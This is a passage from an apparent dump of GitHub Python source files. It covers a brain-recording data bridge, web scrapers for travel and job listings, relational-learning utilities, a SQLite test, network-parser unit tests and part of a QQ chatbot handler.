recording.data\n        stimulus_presentations = session.stimulus_presentations\n        active_stimuli = stimulus_presentations[\n            stimulus_presentations[\"active\"] & stimulus_presentations[\"is_change\"]\n        ]\n        passed = active_stimuli[\"rewarded\"]\n        trial_times = np.zeros(shape=(len(active_stimuli), 2))\n        trial_times[:, 0] = active_stimuli[\"start_time\"]\n        trial_times[:, 1] = active_stimuli[\"end_time\"]\n\n        trial_info = {\n            \"trial_times\": trial_times,\n            \"trial_correct\": passed,\n        }\n\n        return trial_info\n\n    @staticmethod\n    def brain_regions_in_structure(\n        structure: Optional[str] = None,\n    ) -> Union[List[str], Dict[str, List[str]]]:\n        \"\"\"\n        Get the brain regions in a structure.\n\n        Parameters\n        ----------\n        structure : str, optional\n            The structure to get the brain regions for, by default None.\n            If None, return all brain regions.\n\n        Returns\n        -------\n        brain_regions : list\n            The brain regions in the structure.\n\n        Raises\n        ------\n        ValueError\n            If the structure is not known.\n\n        \"\"\"\n\n        structures = {\n            \"cortex\": [\n                \"VISp\",\n                \"VISl\",\n                \"VISrl\",\n                \"VISam\",\n                \"VISpm\",\n                \"VIS\",\n                \"VISal\",\n                \"VISmma\",\n                \"VISmmp\",\n                \"VISli\",\n            ],\n            \"thalamus\": [\n                \"LGd\",\n                \"LD\",\n                \"LP\",\n                \"VPM\",\n                \"TH\",\n                \"MGm\",\n                \"MGv\",\n                \"MGd\",\n                \"PO\",\n                \"LGv\",\n                \"VL\",\n                \"VPL\",\n                \"POL\",\n                \"Eth\",\n                \"PoT\",\n                \"PP\",\n                \"PIL\",\n                \"IntG\",\n                \"IGL\",\n                \"SGN\",\n                \"VPL\",\n                \"PF\",\n                \"RT\",\n            ],\n            \"hippocampus\": [\n                \"CA1\",\n                \"CA2\",\n                \"CA3\",\n                \"DG\",\n                \"SUB\",\n                \"POST\",\n                \"PRE\",\n                \"ProS\",\n                \"HPF\",\n            ],\n            \"midbrain\": [\n                \"MB\",\n                \"SCig\",\n                \"SCiw\",\n                \"SCsg\",\n                \"SCzo\",\n                \"PPT\",\n                \"APN\",\n                \"NOT\",\n                \"MRN\",\n                \"OP\",\n                \"LT\",\n                \"RPF\",\n                \"CP\",\n            ],\n        }\n\n        if structure is None:\n            return structures\n        else:\n            return structures[structure]\n\n    @staticmethod\n    def recorded_regions(recording: \"Recording\") -> List[str]:\n        return ast.literal_eval(recording.attrs[\"structure_acronyms\"])\n","repo_name":"seankmartin/Simuran","sub_path":"simuran/bridges/allen_vbn_bridge.py","file_name":"allen_vbn_bridge.py","file_ext":"py","file_size_in_byte":7457,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"35764897884","text":"# -*- coding: utf-8 -*-\nimport scrapy\n\n\nclass BaidulySpider(scrapy.Spider):\n    name = 'baiduly'\n    allowed_domains = ['lvyou.baidu.com']\n    start_urls = ['https://lvyou.baidu.com/scene/t-all_s-all_a-all_l-all?rn=12&pn=0']\n\n    def parse(self, response):\n        print(response.status)\n        # with open('data.html','w') as file:\n        #     file.write(response.text)\n        #提取详情页链接\n        detaile = response.xpath('//li[@class=\"filter-result-item \"]//h3/a/@href').extract()\n        for i in detaile:\n            yield scrapy.Request()\n        #获取下一页\n        pageurl = response.xpath('//span[@class=\"pagelist\"]//a[@class=\"nslog\"]/@href').extract_first()\n\n        print(detaile)\n\n","repo_name":"yuemeiss/database","sub_path":"june_爬虫/scrapy框架/baidulvyou/build/lib/baidulvyou/spiders/baiduly.py","file_name":"baiduly.py","file_ext":"py","file_size_in_byte":712,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"70551648970","text":"import string\nimport re\nfrom math import exp\nfrom random import sample\nimport random\n\nclass Data(object):\n    '''contains the relational data'''\n\n    def __init__(self):\n        '''constructor for the Data class'''\n        self.regression = False #flag for regression\n        self.advice = False #flag for advice\n        self.adviceClauses = {} #advice clauses stored here\n        self.facts = [] #facts\n        self.facts_in_bk = []\n        self.pos = {} #positive examples\n        self.neg = {} #negative examples\n        self.examples = {} #for regression\n        self.examplesTrueValue = {} #for regression\n        self.target = None #target to be learned\n        self.literals = {} #literals present in facts and their type specs\n        self.variableType = {} #type of variable used for facts and target\n\n    def setFacts(self,facts):\n        '''set facts from facts list'''\n        self.facts = facts\n        \n    def setFactsinbk(self,facts_in_bk):\n        '''set whole facts to fetch the range of constants'''\n        self.facts_in_bk = facts_in_bk\n\n    def getFacts(self):\n        '''returns the facts in the data'''\n        return self.facts\n\n    def setPos(self,pos,target):\n        '''set positive examples from pos list'''\n        for example in pos:\n            if example.split('(')[0] == target:\n                self.pos[example] = 0.1192 #set initial gradient to 1-0.5 for positive\n\n    def setExamples(self,examples,target):\n        '''set examples for regression'''\n        \n        values = []\n        for example in examples:\n            values.append(float(example.split(' ')[1]))\n        for example in examples:\n            predicate = example.split(' ')[0] #get predicate\n            value = float(example.split(' ')[1]) # get true regression value\n            if predicate.split('(')[0] == target:\n                self.examplesTrueValue[predicate] = value #store true value of example\n                self.examples[predicate] = value# - sum(values)/float(len(values)) #set value for example, otherwise no variance\n\n    def setNeg(self,neg,target):\n        '''set negative examples from neg list'''\n        for example in neg:\n            if example.split('(')[0] == target:\n                self.neg[example] = -0.8808 #set initial gradient to 0-0.5 for negative\n\n    def setTarget(self,bk,target,regression = False):\n        '''sets the target'''\n        targetSpecification = None\n        for line in bk:\n            if line.split('(')[0] == target:\n                targetSpecification = line\n        targetSpecification = targetSpecification[:-1].split('(')[1].split(',')\n        firstPositiveInstance = None\n        if not regression:\n            for posEx in self.pos.keys(): #get the first positive example in the dictionary\n                if posEx.split('(')[0] == target:\n                    firstPositiveInstance = posEx\n                    break\n        elif regression:\n            for example in self.examples.keys(): #get first regression example\n                predicate = example.split(' ')[0]\n                if predicate.split('(')[0] == target:\n                    firstPositiveInstance = predicate\n                    break\n        targetPredicate = firstPositiveInstance.split('(')[0] #get predicate name\n        targetArity = len(firstPositiveInstance.split('(')[1].split(',')) #get predicate arity\n        targetVariables = sample(Utils.UniqueVariableCollection,targetArity) #get some variables according to arity\n        self.target = targetPredicate+\"(\" #construct target string\n        for variable in targetVariables:\n            self.target += variable+\",\"\n            self.variableType[variable] = targetSpecification[targetVariables.index(variable)]\n        self.target = self.target[:-1]+\")\"\n\n    def getTarget(self):\n        '''returns the target'''\n        return self.target\n\n    def getExampleTrueValue(self,example):\n        '''returns true regression value of example during regression'''\n        return self.examplesTrueValue[example]\n\n    def getValue(self,example):\n        '''returns regression value for example'''\n        if Utils.data.regression:\n            return self.examples[example]\n        for ex in self.pos: #check first among positive examples and return value\n            if ex == example:\n                return self.pos[example]\n        for ex in self.neg: #check next among negative examples and return values\n            if ex == example:\n                return self.neg[example]\n\n    def setBackground(self,bk):\n        '''obtains the literals and their type specifications\n           types can be variable or a list of constants\n        '''\n        bkWithoutTargets = [line for line in bk if '+' in line or '-' in line]\n        for literalBk in bkWithoutTargets:\n            literalName = literalBk.split('(')[0]\n            self.literals[literalName] = []\n        for literalBk in bkWithoutTargets: #for every literal obtain name and type specification\n            literalName = literalBk.split('(')[0]\n            literalTypeSpecification = literalBk[:-1].split('(')[1].split(',')\n            self.literals[literalName].append(literalTypeSpecification)\n            \n    def getLiterals(self):\n        '''gets all the literals in the facts'''\n        return self.literals\n        \n   \n        \nclass Utils(object):\n    '''class for utilities used by program\n       reading files\n    '''\n\n    \"\"\"\n    \n    'string' module can cause compatability issues between Python 2 and Python 3,\n    switched from using string.uppercase to using string.ascii_uppsercase,\n    the latter should work with both versions.\n    \"\"\"\n\n    data = None #attribute to store data (facts,positive and negative examples)\n    UniqueVariableCollection = set(list(string.ascii_uppercase))\n\n    @staticmethod\n    def addVariableTypes(literal):\n        '''adds type of variables contained in literal'''\n        literalName = literal.split('(')[0] #get literal name\n        literalTypeSpecifications = Utils.data.literals[literalName] #get background info\n        literalArguments = literal[:-1].split('(')[1].split(',') #get arguments\n        numberOfArguments = len(literalArguments)\n        for literalTypeSpecification in literalTypeSpecifications:\n            for i in range(numberOfArguments):\n                if literalTypeSpecification[i][0]!='[':\n                    variable = literalArguments[i]\n                    if variable not in Utils.data.variableType.keys():\n                        Utils.data.variableType[variable] = literalTypeSpecification[i][1:]\n\n    @staticmethod\n    def find_nth(haystack, needle, n):\n        \n        ''' returns the nth occurence of a character in the string'''\n        start = haystack.find(needle)\n        while start >= 0 and n > 1:\n            start = haystack.find(needle, start+len(needle))\n            n -= 1\n        return start\n\n    @staticmethod\n    def addConstants(constant_position,constant_predicate,facts):\n        \n        '''returns unique constants for constants in bk file'''\n        constant_list = []\n        [constant_list.append(each_fact[Utils.find_nth(each_fact,\",\",constant_position-1)+1:len(each_fact)-1].strip()) for each_fact in facts if each_fact[0:each_fact.index(\"(\")]==constant_predicate[0:constant_predicate.index(\"(\")] and each_fact[Utils.find_nth(each_fact,\",\",constant_position-1)+1:len(each_fact)-1].strip() not in constant_list]\n        \n        return \"[\"+\";\".join(constant_list)+\"]\"\n        \n    \n        \n    @staticmethod\n    def getleafValue(examples):\n        '''returns average of regression values for examples'''\n        if not examples:\n            return 0\n        total = 0\n        for example in examples:\n            total += Utils.data.getValue(example)\n        return total/float(len(examples))\n        \n    @staticmethod\n    def write_for_java(info_list,filename):\n        \n        with open (filename,\"w\") as fp:\n            for each in info_list:\n                fp.write(each+\".\"+\"\\n\")\n        fp.close()\n\n    @staticmethod\n    def setTrainingData(target=None,facts=None,examples=None,pos=None,neg=None,bk=None,regression=False,sampling_rate=None):\n        '''sets facts, examples and background'''\n        Utils.data = Data()\n        Utils.data.regression = regression\n        sampled_facts = [fact for fact in facts if random.random() < sampling_rate]\n        sampled_examples = [example for example in examples if random.random() < sampling_rate]\n        Utils.data.setFacts(sampled_facts)\n        if not regression:\n            Utils.data.setPos(pos,target)\n            Utils.data.setNeg(neg,target)\n        elif regression:\n            Utils.data.setExamples(sampled_examples,target)\n        Utils.data.setBackground(bk)\n        if not regression:\n            Utils.data.setTarget(bk,target)\n        elif regression:\n            Utils.data.setTarget(bk,target,regression = True)\n        return Utils.data\n    \n    @staticmethod\n    def readTrainingData(target,sampling_rate_train,regression = False,advice=False):\n        '''reads the training data from files'''\n        Utils.data = Data() #create object to hold data for each tree\n        Utils.data.regression = regression\n        Utils.data.advice = advice\n        if advice:\n            with open(\"train/advice.txt\") as fp: #read advice from train folder\n                adviceFileLines = fp.read().splitlines()\n                for line in adviceFileLines:\n                    adviceClause = line.split(' ')[0] #get advice clause\n                    Utils.data.adviceClauses[adviceClause] = {}\n                    preferredTargets = line.split(' ')[1][1:-1].split(',')\n                    if preferredTargets[0]:\n                        Utils.data.adviceClauses[adviceClause]['preferred'] = preferredTargets\n                    elif not preferredTargets[0]:\n                        Utils.data.adviceClauses[adviceClause]['preferred'] = []\n                    nonPreferredTargets = line.split(' ')[2][1:-1].split(',')\n                    if nonPreferredTargets[0]:\n                        Utils.data.adviceClauses[adviceClause]['nonPreferred'] = nonPreferredTargets\n                    elif not nonPreferredTargets[0]:\n                        Utils.data.adviceClauses[adviceClause]['nonPreferred'] = []\n                    \n        with open(\"train/facts.txt\") as fp: #read facts from train folder\n            facts = fp.read().replace(\".\",\"\").replace(\" \",\"\").splitlines()\n            facts = list (filter (lambda each_fact: not each_fact.startswith(\"//\"),facts))\n            #print (\"The total number of training facts: \",len(facts))\n            len_facts = int(round(len(facts)*(sampling_rate_train)/100))\n            sampled_facts = []\n            for i in range(len_facts):\n                random_index = random.randrange(len(facts))\n                sampled_facts.append(facts[random_index])\n                del facts[random_index]\n            #print (\"The facts used in learning---->\",sampled_facts)\n            print (\"The number of sampled training facts: \",len(sampled_facts))\n            Utils.write_for_java(sampled_facts,\"java_code/train/train_facts.txt\")\n            Utils.data.setFacts(sampled_facts)\n            Utils.data.setFactsinbk(facts)\n            for line in sampled_facts:\n                print (\"fact line: \",line)\n            print (\"\\n\")\n        #['putdown(state)', 'ontable(+state,+block,[table])', 'on(+state,-block,+block)']\n        if not regression:\n            with open(\"train/pos.txt\") as fp: #read positive examples from train folder\n                pos = fp.read().replace(\".\",\"\").replace(\" \",\"\").splitlines()\n                pos = list (filter (lambda each_pos: not each_pos.startswith(\"//\"),pos))\n                len_pos = int(round(len(pos)*(sampling_rate_train)/100))\n                sampled_pos = []\n                #sampled_pos =  [ pos[random.randrange(len(pos))]  for i in range(len_pos)]\n                for i in range(len_pos):\n                    random_index = random.randrange(len(pos))\n                    sampled_pos.append(pos[random_index])\n                    del pos[random_index]\n                #print (sampled_pos)\n                Utils.write_for_java(sampled_pos,\"java_code/train/train_pos.txt\")\n                Utils.data.setPos(sampled_pos,target)\n                for line in sampled_pos:\n                    print (\"pos line: \",line)\n                print (\"\\n\")\n            with open(\"train/neg.txt\") as fp: #read negative examples from train folder\n                neg = fp.read().replace(\".\",\"\").replace(\" \",\"\").splitlines()\n                neg = list (filter (lambda each_neg: not each_neg.startswith(\"//\"),neg))\n                len_neg = int(round(len(neg)*(sampling_rate_train)/100))\n                sampled_neg = []\n                for i in range(len_neg):\n                    random_index = random.randrange(len(neg))\n                    sampled_neg.append(neg[random_index])\n                    del neg[random_index]\n                #print (sampled_neg)\n                Utils.write_for_java(sampled_neg,\"java_code/train/train_neg.txt\")\n                Utils.data.setNeg(sampled_neg,target)\n                for line in sampled_neg:\n                    print (\"neg line: \",line)\n                print (\"\\n\")\n        elif regression:\n            with open(\"train/examples.txt\") as fp: #read training examples for regression\n                examples = fp.read().splitlines()\n                Utils.data.setExamples(examples,target)\n        with open(\"train/bk.txt\") as fp: #read background information from train folder\n            bk = fp.readlines()\n            precomputes = [s[0:s.index(\"(\")] for s in bk if \":-\" in s]\n            bk = [s[s.index(\":\")+1:len(s)].\n                    replace(\".\",\"\").replace(\"//\",\"\").replace(\" \",\"\").strip()  for s in bk if s.startswith(\"mode:\")  and \"recursive\" not in s and s[s.index(\":\")+1:s.index(\"(\")].replace(\".\",\"\").replace(\"//\",\"\").strip() not in precomputes]\n            #constant = [s for s in bk if \"#\" in s]\n            \n            for each_predicate in bk:\n                if '#' in each_predicate:\n                    bk.remove(each_predicate)\n                    constant_position = each_predicate.split(\"#\")[0].count(\",\")+1\n                    #print (each_predicate.split(\"#\")[0])\n                    bk.append(each_predicate.split(\"#\")[0] +str(Utils.addConstants(constant_position,each_predicate,Utils.data.facts_in_bk)).replace(\"\\'\",\"\").replace(\" \",\"\")+\")\")\n                    #exit()\n            for line in bk:\n                print (line)\n            #exit()\n            \n            Utils.data.setBackground(bk)\n            if not regression:\n                Utils.data.setTarget(bk,target)\n            elif regression:\n                Utils.data.setTarget(bk,target,regression = True)\n        return Utils.data\n\n    @staticmethod\n    def setTestData(target=None,facts=None,pos=None,neg=None,examples=None,regression=False):\n        testData = Data()\n        testData.regression = regression\n        testData.setFacts(facts)\n        if not regression:\n            testData.setPos(pos)\n            testData.setNeg(neg)\n        elif regression:\n            testData.setExamples(examples,target)\n        return testData\n\n    @staticmethod\n    def readTestData(target,sampling_rate_test,regression = False):\n        '''reads the testing data from files'''\n        testData = Data() #create object to hold data\n        testData.regression = regression\n        with open(\"test/facts.txt\") as fp:\n            testData.setFacts(fp.read().replace(\".\",\"\").replace(\"//\",\"\").splitlines()) #read facts from test folder\n        if not regression:\n            with open(\"test/pos.txt\") as fp:\n                testData.setPos(fp.read().replace(\".\",\"\").replace(\"//\",\"\").splitlines(),target) #read positive examples from test folder\n            with open(\"test/neg.txt\") as fp:\n                testData.setNeg(fp.read().replace(\".\",\"\").replace(\"//\",\"\").splitlines(),target) #read negative examples from test folder\n        elif regression:\n            with open(\"test/examples.txt\") as fp: #read testing examples for regression\n                examples = fp.read().splitlines()\n                testData.setExamples(examples,target)\n        return testData #return the data for testing\n\n    @staticmethod\n    def variance(examples):\n        '''method to calculate variance\n           in regression values for all\n           examples\n        '''\n        if not examples:\n            return 0\n        total = 0 #initialize total regression value \n        for example in examples:\n            total += Utils.data.getValue(example) #cimpute total\n        numberOfExamples = len(examples) #get number of examples\n        mean = total/float(numberOfExamples) #calc mean as total/number\n        sumOfSquaredError = 0 #initialize sum of squared errors\n        for example in examples: #calculate total squared difference from mean\n            sumOfSquaredError += (Utils.data.getValue(example)-mean)**2\n        return sumOfSquaredError/float(numberOfExamples) #return variance\n\n    @staticmethod\n    def sigmoid(x):\n        '''returns sigmoid of x'''\n        return exp(x)/float(1+exp(x))\n\n    @staticmethod\n    def cartesianProduct(itemSets):\n        '''returns cartesian product of all the sets\n           contained in the item sets\n        '''\n        modifiedItemSets = [] #have to create new input where each single element is in its own set\n        for itemSet in itemSets:\n            modifiedItemSet = []\n            for element in itemSet:\n                modifiedItemSet.append([element]) #does the above task\n            modifiedItemSets.append(modifiedItemSet)\n        while len(modifiedItemSets) > 1: #perform cartesian product of first 2 sets\n            set1 = modifiedItemSets[0]\n            set2 = modifiedItemSets[1]\n            pairWiseProducts = []\n            for item1 in set1:\n                for item2 in set2:\n                    pairWiseProducts.append(item1+item2) #cartesian product performed here\n            modifiedItemSets.remove(set1) #remove first 2 sets\n            modifiedItemSets.remove(set2)\n            modifiedItemSets.insert(0,pairWiseProducts) #insert cartesian product in its place and repeat\n        return modifiedItemSets[0] #return the final cartesian product sets\n            \n","repo_name":"kkroy36/Non-parametric-Fitted-Relational-VI","sub_path":"GBFVI/Utils.py","file_name":"Utils.py","file_ext":"py","file_size_in_byte":18245,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"75031225289","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\nimport scrapy\nfrom scrapy.linkextractor import LinkExtractor\nfrom scrapy.spiders import Rule, CrawlSpider\n\n# REQUIREMENTS\n# pip install scrapy\n\n# run it\n# scrapy runspider jnj.py -o jnj.json\n\nclass JNJVagas(scrapy.Spider):\n    name = 'JnJVagas'\n    start_urls = ['https://jobs.jnj.com/api/jobs']\n    \n    # Method for parsing items\n    def parse(self, response):\n        import json\n        json_ascii   = response.body.decode('ascii', 'ignore')\n        jsonresponse = json.loads(json_ascii)\n        for job in jsonresponse['jobs']:\n            data = job['data']\n            codigo = data['slug']\n            cargo  = data['title']\n            vagas  = data['meta_data']['job_grade']\n            aHref  = data['apply_url']\n            local  = data['full_location']\n\n            yield { \"codigo\" : codigo, \"cargo\": cargo, \"vagas\": vagas, \"href\": aHref, \"local\": local }\n","repo_name":"humbertodias/docker-scrapy-mailer","sub_path":"spider/jnj.py","file_name":"jnj.py","file_ext":"py","file_size_in_byte":935,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"20541171064","text":"import sqlite3\n\ntry:\n    sqliteConnection = sqlite3.connect('db.sqlite3')\n    cursor = sqliteConnection.cursor()\n    print(\"Successfully Connected to Django DB\")\n\n    sqlite_select_Query = \"select sqlite_version();\"\n    cursor.execute(sqlite_select_Query)\n\n    record = cursor.fetchall()\n    print(\"SQLite Database Version is: \", record)\n\n    select_Robos = '''SELECT * from Robots'''\n    #cursor.execute('''INSERT INTO EMPLOYEE(FIRST_NAME, LAST_NAME, AGE, SEX,\n#INCOME) VALUES ('Ramya', 'Rama Priya', 27, 'F', 9000)''')\n    record = cursor.fetchall()\n    print(\"Robots: \", record)\n    \n    cursor.close()\n\nexcept sqlite3.Error as error:\n    print(\"Error while connecting to Django DB\", error)\nfinally:\n    if sqliteConnection:\n        sqliteConnection.close()\n        print(\"The Django DB connection is closed\")","repo_name":"miguel-paz/PSR-TP3","sub_path":"TP3_Django/test_con.py","file_name":"test_con.py","file_ext":"py","file_size_in_byte":812,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"42324010871","text":"# Python\nimport unittest\n\n# Ats\nfrom pyats.topology import Device\nfrom unittest.mock import Mock\n\n# genie.libs\nfrom genie.libs.ops.isis.iosxr.isis import Isis\nfrom genie.libs.ops.isis.iosxr.tests.isis_output import IsisOutput\n\n# iosxr parsers\nfrom genie.libs.parser.iosxr.show_isis import (ShowIsis,\n                                               ShowIsisSpfLog,\n                                               ShowIsisLspLog,\n                                               ShowIsisHostname,\n                                               ShowIsisAdjacency,\n                                               ShowIsisInterface,\n                                               ShowIsisStatistics,\n                                               ShowIsisDatabaseDetail)\n\noutputs = {}\noutputs['show isis'] = IsisOutput.showIsis\noutputs['show isis spf-log'] = IsisOutput.showIsisSpfLog\noutputs['show isis lsp-log'] = IsisOutput.showIsisLspLog\noutputs['show isis hostname'] = IsisOutput.showIsisHostname\noutputs['show isis adjacency'] = IsisOutput.showIsisAdjacency\noutputs['show isis interface'] = IsisOutput.showIsisInterface\noutputs['show isis statistics'] = IsisOutput.showIsisStatistics\noutputs['show isis database detail'] = IsisOutput.showIsisDatabaseDetail\n\ndef mapper(key):\n    return outputs[key]\n\nclass TestIsisAll(unittest.TestCase):\n\n    def setUp(self):\n        self.device = Device(name='aDevice')\n        self.device.os = 'iosxr'\n        self.device.mapping = {}\n        self.device.mapping['cli'] = 'cli'\n        self.device.connectionmgr.connections['cli'] = self.device\n\n    def test_full_isis(self):\n        isis = Isis(device=self.device)\n        self.device.execute = Mock()\n        self.device.execute.side_effect = mapper\n\n        # Learn the feature\n        isis.learn()\n\n        self.maxDiff = None\n        self.assertEqual(isis.info, IsisOutput.isisOpsOutput)\n        self.assertEqual(isis.lsdb, IsisOutput.isisLsdbOpsOutput)\n\n    def test_selective_attribute_isis(self):\n        isis = Isis(device=self.device)\n        self.device.execute = Mock()\n        self.device.execute.side_effect = mapper\n\n        # Learn the feature\n        isis.learn()\n\n        # Check match\n        self.assertEqual('R3', isis.info['instance']['test']['vrf']['default']\n            [\"hostname_db\"][\"hostname\"][\"3333.3333.3333\"][\"hostname\"])\n        self.assertEqual('R3', isis.lsdb['instance']['test']['vrf']['default']\n            [\"level_db\"][1][\"R3.00-00\"][\"dynamic_hostname\"])\n\n        # Check does not match\n        self.assertNotEqual('R7', isis.info['instance']['test']['vrf']['default']\n            [\"hostname_db\"][\"hostname\"][\"4444.4444.4444\"][\"hostname\"])\n        self.assertNotEqual('R5', isis.lsdb['instance']['test']['vrf']['default']\n            [\"level_db\"][1][\"R4.00-00\"][\"dynamic_hostname\"])\n\n    def test_missing_attributes_Isis(self):\n        isis = Isis(device=self.device)\n\n        outputs['show isis hostname'] = ''\n        outputs['show isis database detail'] = ''\n        self.device.execute = Mock()\n        self.device.execute.side_effect = mapper\n\n        # Learn the feature\n        isis.learn()\n\n        # revert back\n        outputs['show isis hostname'] = IsisOutput.showIsisHostname\n        outputs['show isis database detail'] = IsisOutput.showIsisDatabaseDetail\n\n        with self.assertRaises(KeyError):\n            metric = isis.info['instance']['test']['vrf']['default'][\"hostname_db\"]\n            metric = isis.lsdb['instance']['test']\n\n    def test_empty_output_Isis(self):\n        isis = Isis(device=self.device)\n\n        # Return outputs as inputs to parser when called\n        outputs['show isis'] = ''\n        outputs['show isis spf-log'] = ''\n        outputs['show isis lsp-log'] = ''\n        outputs['show isis hostname'] = ''\n        outputs['show isis adjacency'] = ''\n        outputs['show isis interface'] = ''\n        outputs['show isis statistics'] = ''\n        outputs['show isis database detail'] = ''\n\n        self.device.execute = Mock()\n        self.device.execute.side_effect = mapper\n\n        # Learn the feature\n        isis.learn()\n\n        # revert back\n        outputs['show isis'] = IsisOutput.showIsis\n        outputs['show isis spf-log'] = IsisOutput.showIsisSpfLog\n        outputs['show isis lsp-log'] = IsisOutput.showIsisLspLog\n        outputs['show isis hostname'] = IsisOutput.showIsisHostname\n        outputs['show isis adjacency'] = IsisOutput.showIsisAdjacency\n        outputs['show isis interface'] = IsisOutput.showIsisInterface\n        outputs['show isis statistics'] = IsisOutput.showIsisStatistics\n        outputs['show isis database detail'] = IsisOutput.showIsisDatabaseDetail\n\n        # Check no attribute not found\n        with self.assertRaises(AttributeError):\n            isis.info['instance']\n            isis.lsdb['instance']\n\nif __name__ == '__main__':\n    unittest.main()\n","repo_name":"CiscoTestAutomation/genielibs","sub_path":"pkgs/ops-pkg/src/genie/libs/ops/isis/iosxr/tests/test_isis.py","file_name":"test_isis.py","file_ext":"py","file_size_in_byte":4856,"program_lang":"python","lang":"en","doc_type":"code","stars":98,"dataset":"github-code","pt":"16"}
+{"seq_id":"25988953498","text":"import os\nimport json\nimport datetime\nimport traceback\nfrom aiohttp import web\nfrom utils.cq import async_qq, bot\nfrom config.log4 import cqbot_logger as logging\nfrom utils.dao import HansyQQGroupUserInfo, RaffleToCQPushList\nfrom website.handlers.cq_zy import handler as zy_handler\n\n\nclass BotHandler:\n    NOTICE_GROUP_ID_LIST = [\n        159855203,  # test\n        883237694,  # guard\n        436496941,\n        591691708,  # 禁言群\n    ]\n\n    @classmethod\n    async def handle_group_message(cls, context):\n        logging.info(f\"group_message: {context}\")\n        sender = context[\"sender\"]\n        user_id = sender[\"user_id\"]\n        user_nickname = sender[\"nickname\"]\n        title = sender.get(\"title\", \"--\")\n        card = sender.get(\"card\", \"--\")\n        group_id = context[\"group_id\"]\n        msg = context[\"message\"]\n\n        logging.info(f\"群消息: ({group_id}) [{title}][{card}]{user_nickname}({user_id}) -> {msg}\")\n\n        if msg.strip() in (\"#help\", \"#h\", \"#帮助\", \"#指令\"):\n            await async_qq.send_group_msg(group_id=group_id, message=\"除直播通知外，所有功能都已下线。\")\n\n    @classmethod\n    async def handle_private_message(cls, context):\n        user_id = context[\"sender\"][\"user_id\"]\n        user_nickname = context[\"sender\"][\"nickname\"]\n        msg = context[\"raw_message\"]\n        logging.info(\"初号机收到私聊: %s(qq: %s) -> %s\" % (user_nickname, user_id, msg))\n\n        if msg.startswith(\"ML\"):\n            if msg.startswith(\"ML_BIND_BILI_\"):\n                # ML_BIND_BILI_123_TO_QQ_456\n                try:\n                    *_, bili_uid, a, b, qq_uid = msg.split(\"_\")\n                    qq_uid = int(qq_uid)\n                    bili_uid = int(bili_uid)\n                except Exception as e:\n                    return bot.send_private_msg(\n                        user_id=user_id,\n                        message=f\"命令错误。\",\n                        auto_escape=True,\n                    )\n                r = await RaffleToCQPushList.add(bili_uid=bili_uid, qq_uid=qq_uid)\n                return bot.send_private_msg(user_id=user_id, message=f\"{r}\")\n\n            elif msg.startswith(\"ML_GET\"):\n                result = await RaffleToCQPushList.get_all()\n                message = \"\\n\".join(str(item) for item in result)\n                return bot.send_private_msg(\n                    user_id=user_id,\n                    message=f\"已绑定如下：\\n\\n(bili_uid, qq_uid)\\n{message}\",\n                    auto_escape=True,\n                )\n\n            elif msg.startswith(\"ML_DEL_BY_QQ_\"):\n                try:\n                    qq_uid = int(msg.split(\"_\")[-1])\n                except Exception:\n                    return bot.send_private_msg(user_id=user_id, message=f\"命令错误\")\n\n                result = await RaffleToCQPushList.del_by_qq_uid(qq_uid)\n                return bot.send_private_msg(user_id=user_id, message=f\"{msg} -> {result}\")\n\n            elif msg.startswith(\"ML_DEL_BY_BILI_\"):\n                try:\n                    bili_uid = int(msg.split(\"_\")[-1])\n                except Exception:\n                    return bot.send_private_msg(user_id=user_id, message=f\"命令错误\")\n\n                result = await RaffleToCQPushList.del_by_bili_uid(bili_uid)\n                return bot.send_private_msg(user_id=user_id, message=f\"{msg} -> {result}\")\n\n            return bot.send_private_msg(\n                user_id=user_id,\n                message=f\"ML_BIND_BILI_123_TO_QQ_456\\nML_GET\\nML_DEL_BY_BILI_123\\nML_DEL_BY_QQ_456\"\n            )\n\n        elif msg == \"test\":\n            return bot.send_private_msg(user_id=user_id, message=f\"OK: {datetime.datetime.now()}\")\n\n    @classmethod\n    async def handle_message(cls, context):\n        if context[\"message_type\"] == \"group\":\n            return await cls.handle_group_message(context)\n\n        elif context[\"message_type\"] == \"private\":\n            try:\n                return await cls.handle_private_message(context)\n            except Exception as e:\n                message = f\"Error happened in handle_message: {e}\\n{traceback.format_exc()}\"\n                bot.send_private_msg(user_id=80873436, message=message)\n                return None\n\n    @classmethod\n    async def handle_notice(cls, context):\n        now = str(datetime.datetime.now())[:19]\n\n        if context[\"notice_type\"] == 'group_increase':\n            group_id = context[\"group_id\"]\n            if group_id not in (436496941, 159855203, 1007807100):\n                return\n\n            user_id = context[\"user_id\"]\n            member = bot.get_group_member_info(group_id=group_id, user_id=user_id)\n            nickname = member[\"nickname\"]\n            operator_id = context[\"operator_id\"]\n\n            sub_type = context[\"sub_type\"]\n            if sub_type == \"approve\":\n                sub_type = \"主动加群\"\n            elif sub_type == \"invite\":\n                sub_type = \"管理员邀请\"\n\n            info = f\"{now} QQ: {nickname}({user_id})通过{sub_type}方式加入到本群，审核者QQ({operator_id})\"\n            await HansyQQGroupUserInfo.add_info(group_id=group_id, user_id=user_id, info=info)\n\n            bot.set_group_card(group_id=group_id, user_id=user_id, card=\"✿泡泡┊\" + nickname)\n            message = (\n                f\"欢迎[CQ:at,qq={user_id}] 进入泡泡小黄鸡养殖场！\\n\\n\"\n                \"群名片格式：✿泡泡┊ + 你的昵称，初号机已经自动为你修改~ \\n\\n\"\n                \"进群记得发个言哦，否则有可能会被当机器人清理掉，很可怕的哦~ \"\n                \"从今天开始一起跟泡泡守护小黄鸡呀！叽叽叽~\"\n            )\n            bot.send_group_msg(group_id=group_id, message=message)\n\n        elif context[\"notice_type\"] == 'group_decrease':\n            group_id = context[\"group_id\"]\n            if group_id not in (436496941, 159855203):\n                return\n\n            operator_id = context[\"operator_id\"]\n            user_id = context[\"user_id\"]\n\n            sub_type = context[\"sub_type\"]\n            if sub_type == \"leave\":\n                sub_type = \"主动退群\"\n            elif sub_type == \"kick\":\n                sub_type = \"被管理员移出\"\n            elif sub_type == \"kick_me\":\n                sub_type = \"登录号被踢\"\n\n            info = f\"{now} QQ: 